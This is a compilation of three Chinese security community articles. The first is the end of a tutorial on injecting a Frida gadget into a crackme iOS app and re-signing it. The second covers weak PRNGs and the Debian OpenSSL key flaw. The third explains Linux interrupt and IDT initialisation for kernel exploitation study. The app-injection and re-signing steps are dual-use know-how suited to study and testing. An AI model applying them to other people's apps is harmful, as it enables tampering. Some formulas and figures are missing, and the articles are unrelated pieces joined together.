如果你之前使用Xcode开发和部署过iOS应用，你已经获得了一个代码签名证书。你可以使用security工具列出你现有的签名身份码：
$ security find-identity -p codesigning -v
1) 61FA3547E0AF42A11E233F6A2B255E6B6AF262CE "iPhone Distribution: Vantage Point Security Pte. Ltd."
2) 8004380F331DCA22CC1B47FB1A805890AE41C938 "iPhone Developer: Bernhard Müller (RV852WND79)"
已经注册的开发者可以从Apple开发者门户上获取配置文件。首先你需要创建一个新的App ID，之后发起一个配置文件请求，以便该App
ID能在你的设备上运行。要是只是想对应用进行重新打包，那么选择哪个App ID并不重要，你甚至可以重复使用之前使用过的App
ID。关键点在于你需要一个正确匹配的配置文件，因为需要将调试器附加到应用上进行工作，请确保你创建的是一个开发配置文件（development
provisioning profile）而不是分发配置文件（distribution profile）。
在下文的shell命令中，我使用了自己的签名身份，该签名身份与我公司的开发团队相关联。我创建了名为“sg.vp.repackaged”的app-id，以及一个名为“AwesomeRepackaging”的配置文件，生成了一个名为“AwesomeRepackaging.mobileprovision”的文件，请你在实际操作时将这些字段替换为你自己的文件名。
**2）使用普通iTunes账号时**
幸运的是，即便你不是付费开发者，Apple也会给你发放一个免费的开发配置文件。你可以使用自己的Apple账户，通过Xcode环境获得该配置文件——只需要创建一个空的iOS工程，并从应用容器中提取embedded.mobileprovision即可。[NCC博客](https://www.nccgroup.trust/au/about-us/newsroom-and-events/blogs/2016/october/ios-instrumentation-without-jailbreak/)对整个过程进行了详细描述。
获取到配置文件后，你可以使用security工具检查其内容。除了证书及设备信息外，你还可以从配置文件中找到应用所被赋予的运行权限。这些信息在后续的代码签名工作中都需要用到，因此你需要将它们提取到单独的plist文件中，如下所示。
$ security cms -D -i AwesomeRepackaging.mobileprovision > profile.plist
$ /usr/libexec/PlistBuddy -x -c 'Print :Entitlements' profile.plist > entitlements.plist
$ cat entitlements.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>application-identifier</key>
<string>LRUD9L355Y.sg.vantagepoint.repackage</string>
<key>com.apple.developer.team-identifier</key>
<string>LRUD9L355Y</string>
<key>get-task-allow</key>
<true/>
<key>keychain-access-groups</key>
<array>
<string>LRUD9L355Y.*</string>
</array>
</dict>
</plist>
你还需要检查一下生成的plist文件，看文件内容是否正确生成。
其中，应用标识（App ID）是由Team ID（LRUD9L355Y）以及Bundle
ID（sg.vantagepoint.repackage）组合而成。此配置文件仅对使用该App ID的应用有效。 “get-task-allow”
键值也十分重要，当该键值设为“true”时，其他进程（如调试服务器）可以被允许附加到该应用程序上，因此，在分发配置文件中，需要将该键值设置为“false”。
**其他的准备措施**
要想让我们的应用在启动时加载一个附加库，我们使用某些方法将一个附加加载命令插入到主执行文件的Mach-O头中。我们使用optool来自动化完成这个步骤：
$ git clone https://github.com/alexzielenski/optool.git
$ cd optool/
$ git submodule update --init --recursive
不使用Xcode的情况下，我们可以使用[ios-deploy工具](https://github.com/phonegap/ios-deploy)来完成应用的部署及调试。
git clone https://github.com/phonegap/ios-deploy.git
cd ios-deploy/
git submodule update --init --recursive
你需要FridaGadget.dylib完成本文示例。
$ curl -O https://build.frida.re/frida/ios/lib/FridaGadget.dylib
除了上述工具，我们还将使用OS X及XCode附带的标准工具集，请确保你的环境中已安装Xcode命令行开发者工具。
**应用的修改、重新打包和重新签名**
IPA文件其实就是ZIP文件，因此我们可以解压ipa包，将FridaGadget.dylib拷贝至app目录，之后使用optool将load命令添加到“UnCrackable
Level 1”这个应用中。
$ unzip UnCrackable_Level1.ipa
$ cp FridaGadget.dylib Payload/UnCrackable Level 1.app/
$ optool install -c load -p "@executable_path/FridaGadget.dylib" -t Payload/UnCrackable Level 1.app/UnCrackable Level 1
Found FAT Header
Found thin header...
Found thin header...
Inserting a LC_LOAD_DYLIB command for architecture: arm
Successfully inserted a LC_LOAD_DYLIB command for arm
Inserting a LC_LOAD_DYLIB command for architecture: arm64
Successfully inserted a LC_LOAD_DYLIB command for arm64
Writing executable to Payload/UnCrackable Level 1.app/UnCrackable Level 1...
上述操作肯定会使主执行文件的代码签名无效，因此应用不能在非越狱设备上运行。你需要替换其中的配置文件，使用配置文件中列出的证书对主执行文件及FridaGadget.dylib进行签名。
首先，我们向包中添加自己的配置文件：
$ cp AwesomeRepackaging.mobileprovision Payload/UnCrackable Level 1.app/embedded.mobileprovision
接下来，我们要确保Info.plist中的BundleID与配置文件中的BundleID一致。Codesign在签名过程中会从Info.plist中读取BundleID信息，两者如果不一致将会导致应用签名无效。
$ /usr/libexec/PlistBuddy -c "Set :CFBundleIdentifier sg.vantagepoint.repackage" Payload/UnCrackable Level 1.app/Info.plist
最后，我们使用codesign工具来对修改过的应用重新签名/
$ rm -rf Payload/F/_CodeSignature
$ /usr/bin/codesign --force --sign 8004380F331DCA22CC1B47FB1A805890AE41C938 Payload/UnCrackable Level 1.app/FridaGadget.dylib
Payload/UnCrackable Level 1.app/FridaGadget.dylib: replacing existing signature
$ /usr/bin/codesign --force --sign 8004380F331DCA22CC1B47FB1A805890AE41C938 --entitlements entitlements.plist Payload/UnCrackable Level 1.app/UnCrackable Level 1
Payload/UnCrackable Level 1.app/UnCrackable Level 1: replacing existing signature
**
**
**安装及运行修改后的应用**
一切准备就绪，你可以使用以下命令在设备上部署和运行经过修改后的应用。
$ ios-deploy --debug --bundle Payload/UnCrackable Level 1.app/
如果一切顺利，应用应该可以在附加IIdb的调试模式下在设备上启动运行。Frida应该也可以正确加载到应用中运行，你可以使用frida-ps命令验证这一点：
$ frida-ps -U
PID Name
--- ------ 499 Gadget
现在你可以使用Frida正常测试应用程序了。
**故障排除**
如果你在进行上述操作时发生错误，你可以检查一下配置文件和代码签名头是否正确匹配，通常的错误都是因为两者不匹配导致的。这种情况下你可以参考Apple的[官方文档](https://developer.apple.com/library/content/documentation/IDEs/Conceptual/AppDistributionGuide/MaintainingProfiles/MaintainingProfiles.html)，了解整个系统的工作原理。另外，Apple的[故障排除页面](http://https//developer.apple.com/library/content/technotes/tn2415/_index.html)也是一个不错的参考资料。 | 社区文章 |
# SSL协议安全系列：SSL中弱PRNG带来的安全问题
|
##### 译文声明
本文是翻译文章，文章来源：drops.wooyun.org
原文地址：<http://drops.wooyun.org/papers/9144>
译文仅供参考，具体内容表达以及含义原文为准。
**0x00 前言**
在前两讲中,我们主要对SSL协议中CBC模式的弱安全性进行了系统的介绍。这一讲中我们对用于生成SSL中所用密钥的PRNG做一点简单介绍。
**0x01 什么是PRNG?**
PRNG(pseudo Random Noise Generation),即伪随机噪声生成,用于生成各种密码学操作中所需的随机数。
一般而言,Linux系统中的PRNG(简称为LRNG)可以被分为3个异步的部分。第一部分把系统事件转化为bit来表示潜在的熵;第二部分把这些bit加入到随机数生成池;第三部分使用连续的SHA-1操作处理生成池中的bit来产生输出,得到的反馈依然被放入生成池中来更新它。
每个从系统事件得到的随机性都被收集为两个32-bit的word。第一个word包含事件发生的时间,第二个word是事件的值,通常是一个按键、鼠标移动或者驱动访问的编码。
LRNG使用一个计数器来计算加入到生成池中物理随机性的估算值,这个值用一个不同事件发生频率的函数来计算。这个值被表示为熵。
Linux系统中PRNG的结构抽象如下图所示:
* Pools and counters:上图描述了LRNG流程。内部状态保持在3个熵池里:primary、secondary、urandom,它们的大小分别为512、128、128字节。熵源向primary池添加数据;它的输出再给到secondary和urandom中,LRNG的输出是从secondary或者urandom中提取的。提取过程中,一个池子的内部状态会根据反馈行为更新。
每个池子有一个熵值计数器。它是0到池子大小比特值之间的一个整数。输出从熵池中提取后,这个值就减小提取出熵值的比特数。
熵值的增加比较复杂。(1)如果增加的bit来自某一熵源,那么会根据这个熵源最近几次事件的时序(timing)来评估它们的熵,然后相应增加计数器的值。(2)如果增加的bit来自primary,则接收池的计数器就直接增加接收到的bit数。
secondary池的计数器很重要,它用来判断当前secondary池中的熵是否足够用来生成随机数,如果不够,就进行阻塞并等待,并从primary池中提取熵,直到熵计数器的值大于某一阈值。
* Adding physical entropy: 桌面及服务器PC使用的熵源有4个:鼠标、键盘活动,磁盘输入输出以及特殊中断。事件发生时,会产生一个32bit的word表示时间(系统开机到现在经历的毫秒数),一个word编码它的属性(事件类型、)。此外,同一类型连续事件的时序会被用来估算该事件提供的熵值。
收集到的熵分批加入池子,每分钟几次。默认加入primary,满了的话加入secondary,不会加入urandom。
* Generating output:当用户使用/dev/urandom时,从urandom中提取随机bit;当用户使用/dev/random时,从secondary中提取随机bit;当这两个池子熵不够时从primary池提取随机bit。 /dev/random和/dev/urandom这两种生成随机数的方式特点如下:
熵提取过程包括3个步骤:(1)更新熵池内容;(2)提取随机bit到输出;(3)减少熵池计数器值。
1. /dev/random 会生成非常安全的随机bit,当随机bit数不够时,它可能阻塞用户直到随机bit都被生成;
2. /dev/urandom 输出的随机bit相对不那么安全,它会根据请求返回任意数量的伪随机bit,但它的输出不会被阻塞。
0x02 Linux中PRNG的运作原理
* Linux中PRNG的初始化 操作系统启动时会初始化LRNG,使用固定的操作系统参数和当前时间,以及额外的磁盘操作或系统事件。这样的操作序列很容易被攻击者预测,并且如果没有额外事件发生,LRNG的熵会很有限。导致LRNG的输出具有可预测性。
可以使用一个脚本解决这个问题,在系统关闭时保存一个随机种子,在开机时把它写回到池子中。关机时,脚本从/dev/urandom中读取512个字节并写入到一个文件,开机时再把这写字节写回到/dev/urandom设备。写回这些字节改变primary池的状态,效果类似于发生一系列事件。然后由primary池更新secondary及urandom池。
这个脚本是Linux发行包中的一部分,而不是内核的一部分。在KNOPPIX及OpenWRT发行版中没有这个脚本,他们的LRNG初始状态是可预测的,安全性较低。
* 估算熵值 LRNG仅适用一个时间函数估算事件的熵,而与事件类型无关。
事件的熵为:
* * * 更新熵池 熵池的更新机制基于TGFSR(Twisted Generalized Feedback Shift Register)。
TGFSR的唯一输入是状态的初始值(一个p*w bit的种子),每个循环中内部状态被用来生成新的状态。
LRNG中用的移位寄存器是基于TGFSR的,区别在于它在每次循环中增加熵。LRNG中的熵池被定义为长度为m个word的数组。
熵通过运行add(pool, j, g)算法来增加,g是新的熵word。
每个池子基于一个本原多项式来更新。多项式根据池子大小来选,secondary和urandom用的多项式相同。
从熵池中提取随机bit的方式为:(1)对提取的bit做hash;(2)修改池子状态;(3)减小计数器。 依据如下算法:
* *
**0x03 弱PRNG对SSL的影响**
OpenSSL的PRNG是一个确定性函数,知道输入和调用次序的攻击者可以预测输出。为了使PRNG安全,熵池必须从/dev/random或者其它攻击者不知道的熵源中取种。2006年,在Debian
Linux发布版本中的OpenSSL增加了一个漏洞修复,而这个漏洞修复引入了一个新的漏洞,它在修复另一个漏洞时把生成随机数选种过程的代码给删掉了,这导致初始选种时使用到的唯一的随机值是当前进程ID-pid,Linux平台默认最大进程号是32,768,所以生成随机数的种子值范围很小。这个漏洞到2008年才被发现,受影响的Debian
Linux版本的可用熵都很有限,产生的公私钥对是可预测的,这样导致生成的SSL协议中使用的服务器私钥具有脆弱性。由于漏洞存在,攻击者可以事先生成公私钥对,一旦发现有跟公钥匹配的就知道了对应私钥。加州大学圣地亚哥分校的研究人员在漏洞发布不久对流行的SSL服务器进行扫描,发现1.5%左右的服务器使用了弱密钥证书。
事实上,因为弱PRNG生成的RSA和DSA弱密钥在TLS和SSH服务器中广泛存在。在2012年的一项调查中发现,0.75%的TLS证书因为熵不足共享了密钥,其他还有1.7%的设备采用了相同实现,很可能也存在此类问题。0.5%的TLS主机和0.03%的SSH主机RSA私钥可被获取,因为它们的公钥存在共享公因子现象。RSA公钥的分解是很困难的,但是如果两个公钥共享了某一素因子,那么只要计算出这个素因子,就可以将这两个公钥分解,从而计算出对应的私钥。
这一现象是由于PRNG在生成随机数时,如果用于产生RSA公钥的两个随机数都是在熵源不足的情况下生成的,那么采用相同实现的设备就可能生成两个相同的素因子,导致对应的私钥相同。如果两个随机数中,仅有一个是在熵源不足的情况下生成,那么两台采用相同实现的不同设备生成的RSA公钥就可能共享一个素因子,导致这两个RSA公钥均可很容易地被分解。
弱PRNG导致的弱RSA和DSA密钥问题在嵌入式设备如路由器、闭路电视等中也广泛存在,因为这类设备的熵源有限(缺少鼠标键盘等熵源)。关于嵌入式设备中弱密钥的问题具体可以参考USENIX
Security 14年的文章A Large-Scale Analysis of the Security of Embedded
Firmwares,由于导致弱密钥的原理相同,这里就不多做介绍了。 | 社区文章 |
# Kernel Pwn 学习之路（四）
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 前言
由于关于Kernel安全的文章实在过于繁杂，本文有部分内容大篇幅或全文引用了参考文献，若出现此情况的，将在相关内容的开头予以说明，部分引用参考文献的将在文件结尾的参考链接中注明。
Kernel的相关知识以及一些实例在Kernel中的利用已经在Kernel Pwn 学习之路(一)(二)给予了说明
Kernel中内存管理的相关知识已经在Kernel Pwn 学习之路(三)给予了说明
本文以及接下来的几篇文章将主要以系统调用为例介绍内核中的中断处理机制。本文涉及到的所有`Linux Kernel`相关代码均基于`5.6.2`版本。
限于篇幅的原因，本文仅介绍了`IDT`的初始化，下一篇文章将更多的涉及中断服务函数的内容~
【传送门】：[Kernel Pwn 学习之路(一)](https://www.anquanke.com/post/id/201043)
【传送门】：[Kernel Pwn 学习之路(二)](https://www.anquanke.com/post/id/201454)
【传送门】：[Kernel Pwn 学习之路(三)](https://www.anquanke.com/post/id/202371)
## 0x02 中断的概述
### 什么是中断
中断是指在CPU正常运行期间，由于内外部事件或由程序预先安排的事件引起的CPU暂时停止正在运行的程序，转而为该内部或外部事件或预先安排的事件服务的程序中去，服务完毕后再返回去继续运行被暂时中断的程序。
这里我们可以举一个比较实际的例子🌰：
比如说我正在厨房用煤气烧一壶水，这样就只能守在厨房里，苦苦等着水开——如果水溢出来浇灭了煤气，有可能就要发生一场灾难了。等啊等啊，外边突然传来了惊奇的叫声“怎么不关水龙头？”，于是我惭愧的发现，刚才接水之后只顾着抱怨这份无聊的差事，居然忘了这事，于是慌慌张张的冲向水管，三下两下关了龙头，声音又传到耳边，“怎么干什么都是这么马虎？”。伸伸舌头，这件小事就这么过去了，我落寞的眼神又落在了水壶上。
门外忽然又传来了铿锵有力的歌声，我最喜欢的古装剧要开演了，真想夺门而出，然而，听着水壶发出“咕嘟咕嘟”的声音，我清楚：除非等到水开，否则没有我享受人生的时候。在这个场景中，我是唯一具有处理能力的主体，不管是烧水、关水龙头还是看电视，同一个时间点上我只能干一件事情。但是，在我专心致志干一件事情时，总有许多或紧迫或不紧迫的事情突然出现在面前，都需要去关注，有些还需要我停下手头的工作马上去处理。只有在处理完之后，方能回头完成先前的任务，“把一壶水彻底烧开！”
中断机制不仅赋予了我处理意外情况的能力，如果我能充分发挥这个机制的妙用，就可以“同时”完成多个任务了。回到烧水的例子，实际上，无论我在不在厨房，煤气灶总是会把水烧开的，我要做的，只不过是及时关掉煤气灶而已，为了这么一个一秒钟就能完成的动作，却让我死死地守候在厨房里，在10分钟的时间里不停地看壶嘴是不是冒蒸气，怎么说都不划算。我决定安下心来看电视。当然，在有生之年，我都不希望让厨房成为火海，于是我上了闹钟，10分钟以后它会发出“尖叫”，提醒我炉子上的水烧开了，那时我再去关煤气也完全来得及。我用一个中断信号——闹铃——换来了10分钟的欢乐时光，心里不禁由衷地感叹：中断机制真是个好东西。
**正是由于中断机制，我才能有条不紊地“同时”完成多个任务，中断机制实质上帮助我提高了并发“处理”能力。**
它也能给计算机系统带来同样的好处：如果在键盘按下的时候会得到一个中断信号，CPU就不必死守着等待键盘输入了；如果硬盘读写完成后发送一个中断信号，CPU就可以腾出手来集中精力“服务大众”了——无论是人类敲打键盘的指尖还是来回读写介质的磁头，跟CPU的处理速度相比，都太慢了。没有中断机制，就像我们苦守厨房一样，计算机谈不上有什么并行处理能力。
跟人相似，CPU也一样要面对纷繁芜杂的局面——现实中的意外是无处不在的——有可能是用户等得不耐烦，猛敲键盘；有可能是运算中碰到了0除数；还有可能网卡突然接收到了一个新的数据包。这些都需要CPU具体情况具体分析，要么马上处理，要么暂缓响应，要么置之不理。无论如何应对，都需要CPU暂停“手头”的工作，拿出一种对策，只有在响应之后，方能回头完成先前的使命，“把一壶水彻底烧开！”
### 中断的类型
概括地说，可以将中断分为两个主要类别：
* 外部或硬件产生的中断（异步中断）
* 软件生成的中断（同步中断）
异步中断是通过由 `Local APIC` 或者与 `Local APIC` 连接的处理器针脚接收。
同步中断是由处理器自身的特殊情况引起(有时使用特殊架构的指令)。一个常见的例子是是`division by
zero`（除零错误），另一个示例是使用`syscall`指令退出程序。
如前所述，中断可以在任何时间因为超出代码和 CPU 控制的原因而发生。对于同步中断，还可以分为三类：
* `Faults`（故障）—— 这是在执行“不完善的”指令之前报告的异常，中断服务程序运行结束后允许恢复被中断的程序。
* `Traps`（陷门）—— 这是在执行`trap`指令之后即刻报告的异常，中断服务程序运行结束后允许恢复被中断的程序。
* `Aborts`（终止）—— 这种异常从不报告引起异常的精确指令，中断服务程序运行结束不允许恢复被中断的程序。
另外，中断又可分为可屏蔽中断(`Maskable interrupt`)和非屏蔽中断(`Nomaskable interrupt`)。
对于可屏蔽中断，在`x86_64`架构中，可以使用`cli`命令阻止中断信号的发送。
/* In /source/arch/x86/include/asm/irqflags.h#L47 */
static inline void native_irq_disable(void)
{
asm volatile("cli": : :"memory");
}
static inline void native_irq_enable(void)
{
asm volatile("sti": : :"memory");
}
可屏蔽中断能否发送取决于中断寄存器中的`IF`标志位。
`cli`命令会将在这个标志位清除，而`sti`命令会将这个标志位置位。
非屏蔽中断将会始终进行报告， **通常，硬件产生的任何错误都将作为非屏蔽中断进行报告！**
### 中断的产生
简化起见，假定每一个物理硬件都有一根连接 CPU
的中断线。设备可以使用它向CPU发出中断信号。但是，这个中断信号并不会直接发送给CPU。在老旧的机器中，有一个[PIC](http://en.wikipedia.org/wiki/Programmable_Interrupt_Controller)芯片，负责顺序处理来自各种设备的各种中断请求。在新机器中，有一个通常被称为
`APIC`的[高级可编程中断控制器](https://en.wikipedia.org/wiki/Advanced_Programmable_Interrupt_Controller)。一个`APIC`
由两个互相独立的设备组成：
1. `Local APIC`(本地控制器)
2. `I/O APIC`(IO控制器)`Local APIC`位于每个CPU核心中，它负责处理特定于 CPU 的中断配置。
`Local APIC`常被用于管理来自`APIC`时钟(`APIC-timer`)、热敏元件和其他与`I/O`设备连接的设备的中断。
`I/O APIC`提供多核处理器的中断管理，它被用来在所有的 CPU 核心中分发外部中断。
中断可以随时发生。发生中断时，操作系统必须立即处理它。处理逻辑的概述如下：
1. 内核必须暂停执行当前进程。（抢占当前任务）
2. 内核必须搜索中断处理程序并且转交控制权（执行中断处理程序）
3. 中断处理程序执行结束后，被中断的进程可以恢复执行。（交还控制流，解除抢占）
当然，在处理中断的过程中涉及许多复杂问题。但是以上三个步骤构成了该过程的基本框架。
每个中断处理程序的地址都被保存在一个特殊的位置，这个位置被称为`IDT(Interrupt Descriptor Table,中断描述符表)`。
如果同时发生多个异常或中断，则处理器将按照其预定义的优先级顺序对其进行处理。优先级如下所示：
1. 硬件 **重置** 或 **机器检查** (`Hardware Reset and Machine Checks`)
2. 任务调度时触发陷门(`Trap on Task Switch`) —— `TSS`中的`T`标志位被置位时发生
3. 外部硬件干预(External Hardware Interventions) —— 发生下列指令之一时报告
* `FLUSH` —— 刷新
* `STOPCLK` —— 时钟发出终止信号
* `SMI` —— 系统管理中断(`System Management Interrupt`)
* `INIT` —— 初始化
4. 指令陷门(`Traps on the Previous Instruction`) —— 常见于断点(`BreakPoint`)和调试异常(`Debug Trap Exceptions`)
5. 非屏蔽中断(`Nonmaskable Interrupts`)
6. 可屏蔽的硬件中断(`Maskable Hardware Interrupts`)
7. 代码断点错误(`Code Breakpoint Fault`)
8. 以下三种异常或中断均属于第八优先级
* 获取下一条指令时出错(`Faults from Fetching Next Instruction`)
* 违反代码段限制(`Code-Segment Limit Violation`)
* 代码页错误(`Code Page Fault`)
9. 以下四种异常或中断均属于第九优先级
* 对下一条指令解码时出错(`Faults from Decoding the Next Instruction`)
* 指令长度大于16个字节(`Instruction length > 15 bytes`)
* `OP Code`不合法(`Invalid Opcode`)
* 协处理器不可用(`Coprocessor Not Available`)
10. 以下几种异常或中断均属于第十优先级
* 运行指令时出错(`Faults on Executing an Instruction`)
* 溢出(`Instruction length > 15 bytes`)
* 绑定错误(`Bound error`)
* 任务状态段不合法(`Invalid TSS(Task State Segment)`)
* 段不存在(`Segment Not Present`)
* 堆栈错误(`Stack fault`)
* 一般保护(`General Protection`)
* 数据页错误(`Data Page Fault`)
* 对齐验证(`Alignment Check`)
* x87 FPU浮点异常(`x87 FPU Floating-point exception`)
* SIMD FPU浮点异常(`SIMD floating-point exception`)
* 虚拟化异常(`Virtualization exception`)
### 中断号与中断向量
处理器使用唯一的编号来识别中断或异常的类型，这个编号被称为中断号( `vector number`)。它将作为`IDT(Interrupt
Descriptor Table,中断描述符表)`的索引值，中断号的取值范围是从`0`到`255`。在`Linux
Kernel`中关于中断设置的地方可以找到这样的检查：
/* In /source/arch/x86/kernel/idt.c#L230 */
static void set_intr_gate(unsigned int n, const void *addr)
{
struct idt_data data;
BUG_ON(n > 0xFF);
memset(&data, 0, sizeof(data));
data.vector = n;
data.addr = addr;
data.segment = __KERNEL_CS;
data.bits.type = GATE_INTERRUPT;
data.bits.p = 1;
idt_setup_from_table(idt_table, &data, 1, false);
}
**从`0`到`31`的前32个中断号由处理器保留，用于处理体系结构定义的异常和中断。**
Vector | Mnemonic | Description | Type | Error Code | Source
---|---|---|---|---|---
0 | #DE | Divide Error | Fault | NO | DIV and IDIV
1 | #DB | Reserved | F/T | NO |
2 | —- | NMI | INT | NO | external NMI
3 | #BP | Breakpoint | Trap | NO | INT 3
4 | #OF | Overflow | Trap | NO | INTO instruction
5 | #BR | Bound Range Exceeded | Fault | NO | BOUND instruction
6 | #UD | Invalid Opcode | Fault | NO | UD2 instruction
7 | #NM | Device Not Available | Fault | NO | Floating point or [F]WAIT
8 | #DF | Double Fault | Abort | YES | An instruction which can generate NMI
9 | —- | Reserved | Fault | NO |
10 | #TS | Invalid TSS | Fault | YES | Task switch or TSS access
11 | #NP | Segment Not Present | Fault | NO | Accessing segment register
12 | #SS | Stack-Segment Fault | Fault | YES | Stack operations
13 | #GP | General Protection | Fault | YES | Memory reference
14 | #PF | Page fault | Fault | YES | Memory reference
15 | —- | Reserved | | NO |
16 | #MF | x87 FPU fp error | Fault | NO | Floating point or [F]Wait
17 | #AC | Alignment Check | Fault | YES | Data reference
18 | #MC | Machine Check | Abort | NO |
19 | #XM | SIMD fp exception | Fault | NO | SSE[2,3] instructions
20 | #VE | Virtualization exc. | Fault | NO | EPT violations
21-31 | —- | Reserved | INT | NO | External interrupts
从 `32` 到 `255` 的中断标识码设计为用户定义中断并且不被系统保留。这些中断通常分配给外部`I/O`设备，使这些设备可以发送中断给处理器。
如前所述，`IDT`存储中断和异常处理程序的入口点，其结构与`Global Descriptor
Table`结构类似。`IDT`的表项被称为门(`gates`)的成员，它可以是以下类型之一：
* Interrupt gates(中断门)
* Task gates(任务门)
* Trap gates(陷阱门)
在`x86`架构下，仅能使用[长模式](http://en.wikipedia.org/wiki/Long_mode)下的`Interrupt
gates`或`Trap gates`能在`x86_64`中被引用。就像 `GDT`(全局描述符表)，`IDT` 在 `x86` 上是一个 8
字节数组门，而在 `x86_64` 上是一个 16 字节数组门。
`IDT` 可以在线性地址空间和基址的任何地方被加载。同时，它需要在 `x86` 上以 8 字节对齐，在 `x86_64` 上以 16 字节对齐。`IDT`
的基址存储在一个特殊的寄存器——`IDTR`中。
在 `x86` 上有两个指令`LIDT(Load Interrupt Descriptor Table`)、`SIDT(Store Interrupt
Descriptor Table)`来修改 `IDTR` 寄存器的值。
指令 `LIDT` 用来加载 `IDT` 的基址，即将指定操作数存在 `IDTR`中。
指令 `SIDT` 用来在读取 `IDTR` 的内容并将其存储在指定操作数中。
在 `x86` 上 `IDTR` 寄存器是 48 位，包含了下面的信息：
47 16 15 0
+-----------------------------------+----------------------+
| Base address of the IDT | Limit of the IDT |
+-----------------------------------+----------------------+
## 0x03 IDT 的初始化
`IDT`由`setup_idt`函数进行建立及初始化操作
### 处理器准备进入保护模式(`go_to_protected_mode`函数分析)
对IDT的配置在`go_to_protected_mode`函数中完成，该函数首先调用了
`setup_idt`函数配置了IDT，然后将处理器的工作模式从实模式环境中脱离进入[保护模式](http://en.wikipedia.org/wiki/Protected_mode)。保护模式(`Protected
Mode`，或有时简写为
`pmode`)是一种`80286`系列和之后的`x86`兼容`CPU`操作模式。保护模式有一些新的特色，设计用来增强多功能和系统稳定度，像是内存保护，分页系统，以及硬件支援的虚拟内存。大部分的现今`x86`操作系统都在保护模式下运行，包含`Linux`、`FreeBSD`、以及微软
`Windows 2.0`和之后版本。
`setup_idt`函数在`go_to_protected_mode`函数中调用，`go_to_protected_mode`函数在`/source/arch/x86/boot/pm.c#L102`中实现：
/*
* Actual invocation sequence
*/
void go_to_protected_mode(void)
{
/* Hook before leaving real mode, also disables interrupts */
// 首先进行Hook操作进而从实模式中脱离，禁用中断
realmode_switch_hook();
/* Enable the A20 gate */
// 启动 A20 门
if (enable_a20()) {
puts("A20 gate not responding, unable to boot...n");
die();
}
/* Reset coprocessor (IGNNE#) */
// 重置协处理器
reset_coprocessor();
/* Mask all interrupts in the PIC */
// 在 PIC 中标记所有的中断
mask_all_interrupts();
/* Actual transition to protected mode... */
// 开始过渡到保护模式
setup_idt();
setup_gdt();
// 正式进入保护模式
protected_mode_jump(boot_params.hdr.code32_start,(u32)&boot_params + (ds() << 4));
}
#### 初始化`IDTR`寄存器(`setup_idt`函数分析)
`setup_idt` 在`/source/arch/x86/boot/pm.c#L93`中实现
`go_to_protected_mode`将仅加载一个NULL表项在`IDT`中
/*
* Set up the IDT
*/
static void setup_idt(void)
{
// 准备一个 null_idt
static const struct gdt_ptr null_idt = {0, 0};
// 使用 lidt 指令把它加载到 IDTR 寄存器
asm volatile("lidtl %0" : : "m" (null_idt));
}
`gdt_ptr` 类型表示了一个48-bit的特殊功能寄存器 `GDTR`，其包含了全局描述符表 `Global Descriptor
Table`的基地址，其在`/source/arch/x86/boot/pm.c#L59`中定义：
/*
* Set up the GDT
*/
struct gdt_ptr {
u16 len;
u32 ptr;
} __attribute__((packed));
这就是 `IDTR` 结构的定义，就像我们在之前的示意图中看到的一样，由 2 字节和 4 字节(共 48 位)的两个域组成。显然，在此处的
`gdt_prt`不是代表 `GDTR`寄存器而是代表
`IDTR`寄存器，因为我们将其设置到了中断描述符表中。之所以在`Linux`内核代码中没有`idt_ptr`结构体，是因为其与`gdt_prt`具有相同的结构而仅仅是名字不同，因此没必要定义两个重复的数据结构。可以看到，内核在此处并没有填充`Interrupt
Descriptor Table`，这是因为此刻处理任何中断或异常还为时尚早，因此我们仅仅以`NULL`来填充`IDT`。
#### 处理器正式进入保护模式(`protected_mode_jump`函数分析)
在设置完`IDT`、`GDT`和其他一些东西以后，内核调用`protected_mode_jump`正式进入保护模式。
这部分代码在`/source/arch/x86/boot/pmjump.S#L24`中实现。
/*
* The actual transition into protected mode
*/
#include <asm/boot.h>
#include <asm/processor-flags.h>
#include <asm/segment.h>
#include <linux/linkage.h>
.text
.code16
/*
* void protected_mode_jump(u32 entrypoint, u32 bootparams);
*/
SYM_FUNC_START_NOALIGN(protected_mode_jump)
movl %edx, %esi # Pointer to boot_params table
xorl %ebx, %ebx
movw %cs, %bx
shll $4, %ebx
addl %ebx, 2f
jmp 1f # Short jump to serialize on 386/486
1:
movw $__BOOT_DS, %cx
movw $__BOOT_TSS, %di
movl %cr0, %edx
orb $X86_CR0_PE, %dl # Protected mode
movl %edx, %cr0
# Transition to 32-bit mode
.byte 0x66, 0xea # ljmpl opcode
2: .long .Lin_pm32 # offset
.word __BOOT_CS # segment
SYM_FUNC_END(protected_mode_jump)
其中 `in_pm32`包含了对32-bit入口的跳转语句:
.code32
.section ".text32","ax"
SYM_FUNC_START_LOCAL_NOALIGN(.Lin_pm32)
# Set up data segments for flat 32-bit mode
movl %ecx, %ds
movl %ecx, %es
movl %ecx, %fs
movl %ecx, %gs
movl %ecx, %ss
# The 32-bit code sets up its own stack, but this way we do have
# a valid stack if some debugging hack wants to use it.
addl %ebx, %esp
# Set up TR to make Intel VT happy
ltr %di
# Clear registers to allow for future extensions to the
# 32-bit boot protocol
xorl %ecx, %ecx
xorl %edx, %edx
xorl %ebx, %ebx
xorl %ebp, %ebp
xorl %edi, %edi
# Set up LDTR to make Intel VT happy
lldt %cx
jmpl *%eax # Jump to the 32-bit entrypoint
SYM_FUNC_END(.Lin_pm32)
`32-bit`的入口地址位于汇编文件`/source/arch/x86/boot/compressed/head_64.S`中，尽管它的名字包含
`_64`后缀。我们可以在 `/source/arch/x86/boot/compressed`目录下看到两个相似的文件:
* `/source/arch/x86/boot/compressed/head_32.S`.
* `/source/arch/x86/boot/compressed/head_64.S`;
然而`32-bit`模式的入口位于第二个文件中，而第一个文件在 `x86_64`配置下不会参与编译。
我们可以查看`/source/arch/x86/boot/compressed/Makefile#L76`
vmlinux-objs-y := $(obj)/vmlinux.lds $(obj)/kernel_info.o $(obj)/head_$(BITS).o
$(obj)/misc.o $(obj)/string.o $(obj)/cmdline.o $(obj)/error.o
$(obj)/piggy.o $(obj)/cpuflags.o
代码中的 `head_*`取决于 `$(BITS)`
变量的值，而该值由”架构”决定。我们可以在`/source/arch/x86/Makefile#L64`找到相关代码:
ifeq ($(CONFIG_X86_32),y)
BITS := 32
......
else
BITS := 64
......
### 处理器进入长模式(`startup_32`函数分析)
现在程序从`protected_mode_jump`来到了`startup_32`中，这个函数将为处理器进入长模式`long
